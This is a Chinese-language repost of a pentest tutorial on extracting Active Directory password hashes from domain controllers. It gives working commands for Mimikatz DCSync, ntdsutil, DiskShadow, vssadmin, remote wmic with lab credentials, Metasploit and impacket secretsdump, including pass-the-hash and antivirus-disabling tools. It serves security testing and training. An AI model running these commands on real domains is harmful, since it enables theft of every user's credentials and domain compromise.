6.Dump域內用戶Hash姿式集合

本文轉自先知社區,原文連接:https://xz.aliyun.com/t/2527#toc-10node

原文地址:https://pentestlab.blog/2018/07/04/dumping-domain-password-hashespython

 

<h1>在滲透測試的過程當中,當咱們已是域管權限時,就能夠實現提取全部域內用戶的密碼哈希以進行離線破解和分析,這是很是常見的一個操做。這些哈希值存儲在域控制器(NTDS.DIT​​)中的數據庫文件中,並帶有一些其餘信息,如組中成員身份和用戶。</h1>git

NTDS.DIT​​文件常常被操做系統使用,所以沒法直接複製到其餘位置以提取信息。能夠在Windows如下位置找到此文件:github

C:\Windows\NTDS\NTDS.dit

ps:這是我本身域控中的實例
shell

可使用各類騷操做來提取此文件或存儲在其中的信息,可是大多數狀況下都使用如下方法之一:數據庫

  • 域控複製服務
  • 原生Windows二進制文件
  • WMI

Mimikatz

Mimikatz有一個功能(dcsync),它利用目錄複製服務(DRS)從NTDS.DIT​​文件中檢索密碼哈希值。這樣子解決了須要直接使用域控制器進行身份驗證的須要,由於它能夠從域管理員的上下文中得到執行權限。所以它是紅隊的基本操做,由於它不那麼複雜。windows

lsadump::dcsync /domain:pentestlab.local /all /csv

ps:這是我在我本地DC中實際測試的圖
api

ps:目錄複製服務遠程協議解釋:目錄複製服務遠程協議是用於DC之間複製和AD管理的RPC協議。該協議由一個名爲drsuapi的 RPC接口組成。 對於客戶端與AD輕型目錄服務(AD/LDS)域控制器創建RPC鏈接,它須要知道計算機的名稱以及AD/LDS域控制器正在偵聽的LDAP端口的編號。
首先,客戶端創建與計算機上的端點映射器服務的鏈接。 接下來,客戶端枚舉爲所需接口ID註冊的全部端點。最後,客戶端選擇其註釋等於所需AD
/LDS域控制器的LDAP端口號的端點。 此協議適用於管理目錄中的對象,以及目錄服務的總體管理。

經過使用/user參數指定域用戶名,Mimikatz能夠dump此特定用戶的全部賬戶信息,包括其密碼哈希。sass

lsadump::dcsync /domain:pentestlab.local /user:test

wing's DC

安全

或者直接在域控制器中執行Mimikatz,經過lsass.exe進程dump哈希。

privilege::debug lsadump::lsa /inject

將檢索域內用戶的密碼哈希值。

Empire

PowerShell Empire有兩個模塊,能夠經過DCSync攻擊dump域內哈希值。這兩個模塊都須要以域管理員權限執行,而且目標機器正在使用Microsoft複製服務。這些模塊依賴於Invoke-Mimikatz PowerShell腳原本執行與DCSync相關的Mimikatz命令。如下模塊將域內哈希值提取爲相似於Metasploit hashdump命令輸出的格式。

usemodule credentials/mimikatz/dcsync_hashdump


DCSync模塊dump全部的賬戶中指定的用戶信息。

將得到如下信息:

Nishang

Nishang是一個PowerShell框架,它讓redteam和滲透測試人員可以對系統進行攻擊性操做。Nishang中的VSS腳本能夠用於自動提取所需的文件:NTDS.DIT​​,SAMSYSTEM。這些文件將被解壓縮到當前工做目錄或指定的任何其餘文件夾中。

Import-Module .\Copy-VSS.ps1 Copy-VSS Copy-VSS -DestinationDir C:\ShadowCopy\


我操做完以後當前文件夾已經dump了。

或者,能夠經過現有的Meterpreter會話加載PowerShell擴展來執行腳本。

load powershell powershell_import /root/Copy-VSS.ps1 powershell_execute Copy-VSS

也可使用命令powershell_shell直接創建PowerShell會話,以便在在現有的Meterpreter會話中導入腳本後提取文件。

Copy-VSS Copy-VSS -DestinationDir C:\Ninja

PowerSploit

PowerSploit包含PowerShell腳本,該腳本利用卷複製服務建立可用於提取文件的新卷。

Import-Module .\VolumeShadowCopyTools.ps1 New-VolumeShadowCopy -Volume C:\ Get-VolumeShadowCopy


或者,能夠經過加載PowerShell擴展來從現有的Meterpreter會話執行它。

powershell_shell New-VolumeShadowCopy -Volume C:\ Get-VOlumeShadowCopy


而後,可使用copy命令將文件重新卷複製到目標路徑。

Invoke-DCSync

Invoke–DCSync 是Nick Landers利用PowerView開發的powershell腳本。
Invoke-ReflectivePEInjection和PowerKatz的DLL wrapper 調用Mimikatz的DCSync方法檢索哈希值。
直接執行該函數將生成如下輸出:

Invoke-DCSync

優秀,哈哈!

結果將格式化爲四個表:Domain,User,RID和Hash。可是,使用參數-PWDumpFormat執行Invoke-DCSync將以如下格式檢索哈希:

user:id:lm:ntlm ::: Invoke-DCSync -PWDumpFormat


經過從現有的Meterpreter會話運行腳本,能夠實現相同的輸出。


使用PWDumpFormat:

NTDSUTIL

該NTDSUTIL是一個命令行工具,它是域控制器生態系統的一部分,其目的是爲了使管理員可以訪問和管理Windows Active Directory數據庫。可是,滲透測試人員和redteam能夠用它來拍攝現有ntds.dit文件的快照,該文件能夠複製到新位置以進行離線分析和密碼哈希的提取。

ntdsutil
activate instance ntds
ifm
create full C:\ntdsutil
quit
quit


將生成兩個新文件夾:Active Directory和Registry。NTDS.DIT​​文件將保存在Active Directory中,SAM和SYSTEM文件將保存到Registry文件夾中。

DiskShadow

DiskShadow是Microsoft簽名的二進制文件,用於協助管理員執行與卷複製服務(VSS)相關的操做。最初bohops在他的博客中寫到了這個二進制文件。這個二進制文件有兩個交互式和腳本模式,所以可使用一個腳本文件,它將包含自動執行NTDS.DIT​​提取過程所需的全部命令。腳本文件能夠包含如下行,以便建立新的卷影副本,裝入新驅動器,執行復制命令並刪除卷影副本。

set context persistent nowriters add volume c: alias someAlias create expose %someAlias% z: exec "cmd.exe" /c copy z:\windows\ntds\ntds.dit c:\exfil\ntds.dit delete shadows volume %someAlias% reset

須要注意一點,DiskShadow二進制文件須要從C:\Windows\System32路徑執行。若是從另外一個路徑調用它,腳本將沒法正確執行。

diskshadow.exe /s c:\diskshadow.txt


直接從解釋器運行如下命令將列出系統的全部可用卷影副本。

diskshadow
LIST SHADOWS ALL



SYSTEM註冊表配置單元也應該複製,由於它包含解密NTDS文件內容的密鑰。

reg.exe save hklm\system c:\exfil\system.bak

WMI

Sean Metcalf在他的博客中證實了,能夠經過WMI遠程提取NTDS.DIT​​和SYSTEM文件。此技術使用vssadmin二進制文件來建立卷的副本。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c vssadmin create shadow /for=C: 2>&1"


而後,它遠程執行復制命令,以便將卷影副本中的NTDS.DIT​​文件解壓縮到目標系統上的另外一個目錄中。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\ntds.dit 2>&1"


這一樣適用於SYSTEM文件。

wmic /node:dc /user:PENTESTLAB\David /password:pentestlab123!! process call create "cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM\ C:\temp\SYSTEM.hive 2>&1"


而後,解壓縮的文件能夠從域控制器傳輸到另外一個Windows系統,而後dump域內用戶密碼哈希值。

PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\ntds.dit C:\temp PS C:\Users\test.PENTESTLAB> copy \\10.0.0.1\c$\temp\SYSTEM.hive C:\temp


若是已生成金票據,則可使用它經過Kerberos與域控制器進行身份驗證,而不是憑據。

VSSADMIN

卷影拷貝服務是Windows命令行實用的程序,使管理員能夠備份計算機,卷和文件,即便它們正在被操做系統使用。卷影複製做爲服務運行,並要求將文件系統格式化爲NTFS,默認狀況下全部現代操做系統都是如此。從Windows命令提示符執行如下操做將建立C:驅動器的快照,以便用戶一般沒法訪問這些文件以將其複製到另外一個位置(本地文件夾,網絡文件夾或可移動設備)。

vssadmin create shadow /for=C:
ps:
關於Volume Shadow Copy 服務:
它是管理及執行用於備份和其餘目的的磁碟區卷影。若是這個服務被中止,卷影將沒法用於備份,備份可能會失敗。若是這個服務被停用,依存它的服務沒法啓動。
這一服務惟一的缺點是你須要爲每個卷影留出更多的磁盤空間,由於你必須在某處存儲這些拷貝。
它主要是用來備份數據庫之類的數據,我的電腦確實通常用不上它。能夠放心禁用!

因爲C:驅動器中的全部文件都已複製到另外一個位置(HarddiskVolumeShadowCopy1),所以它們不會被操做系統直接使用,所以能夠訪問他而且複製到另外一個位置。命令副本將NTDS.DIT和SYSTEM文件複製到名爲ShadowCopy的本地驅動器上的新建立文件夾中。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\ShadowCopy copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\ShadowCopy


須要將這些文件從域控制器複製到另外一個主機以進行進一步處理。

vssown

與vssadmin程序相似,Tim Tomes開發了vssown,它是一個可視化的基本腳本,能夠建立和刪除卷影副本,從卸載的卷影副本運行任意可執行文件,以及啓動和中止卷影複製服務。

cscript vssown.vbs /start cscript vssown.vbs /create c cscript vssown.vbs /list cscript vssown.vbs /delete


可使用命令複製所需的文件。

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\ntds\ntds.dit C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SYSTEM C:\vssown copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy11\windows\system32\config\SAM C:\vssown

Metasploit

Metasploit框架有一個模塊,它經過服務器消息塊(SMB)服務直接與域控制器進行身份驗證,建立系統驅動器的卷影副本,並將NTDS.DIT​​和SYSTEM配置單元的副本下載到Metasploit目錄中。這些文件能夠與impacket等其餘工具一塊兒使用,這些工​​具能夠進行 active directory哈希密碼的提取。

auxiliary/admin/smb/psexec_ntdsgrab


還有一個後滲透模塊,能夠連接到現有的Meterpreter會話,以便經過ntdsutil方法檢索域哈希。

windows/gather/credentials/domain_hashdump

或者,若是已經拿到域控制器的現有Meterpreter會話,則可使用命令hashdump。可是,此方法不被認爲是安全的,由於它可能會使域控崩掉。

hashdump

fgdump

fgdump是一個比較老的可執行文件,可提取的LanMan和NTLM的密碼哈希值。若是已獲取本地管理員憑據,則能夠在本地或遠程執行。在執行期間,fgdump將嘗試禁用可能在系統上運行的防病毒軟件,若是成功,則會將全部數據寫入兩個文件中。若是存在防病毒或端點解決方案,則不該該將fgdump用做dump密碼哈希的方法以免檢測,由於大多數防病毒公司(包括Microsoft的Windows Defender)都會對將它kill掉。

fgdump.exe

能夠經過檢查.pwdump文件的內容來get密碼哈希值。

type 127.0.0.1.pwdump

NTDS提取

Impacket是一組python腳本,可用於執行各類任務,包括提取NTDS文件的內容。impacket-secretsdump模塊須要系統和NTDS數據庫文件.

impacket-secretsdump -system /root/SYSTEM -ntds /root/ntds.dit LOCAL

此外,impacket能夠經過使用計算機賬戶及其哈希進行身份驗證而後從NTDS.DIT​​文件遠程dump域內全部密碼哈希。

impacket-secretsdump -hashes aad3b435b51404eeaad3b435b51404ee:0f49aab58dd8fb314e268c4c6a65dfc9 -just-dc PENTESTLAB/dc\$@10.0.0.1

做爲impacket的替代解決方案,NTDSDumpEx二進制文件能夠從Windows主機中提取域密碼哈希值。

NTDSDumpEx.exe -d ntds.dit -s SYSTEM.hive

還有一個shell腳本adXtract,它能夠將用戶名和密碼哈希導出爲一種格式,可使用常見密碼破解程序進行破解,例如John the Ripper和Hashcat。

./adXtract.sh /root/ntds.dit /root/SYSTEM pentestlab

該腳本將全部信息寫入項目名稱下的各類文件中,當數據庫文件NTDS的解密完成後,將用戶列表和密碼哈希值導出到控制檯中。該腳本將提供有關域用戶的大量信息,以下所示。

密碼哈希將如下列格式顯示。

相關文章
相關標籤/搜索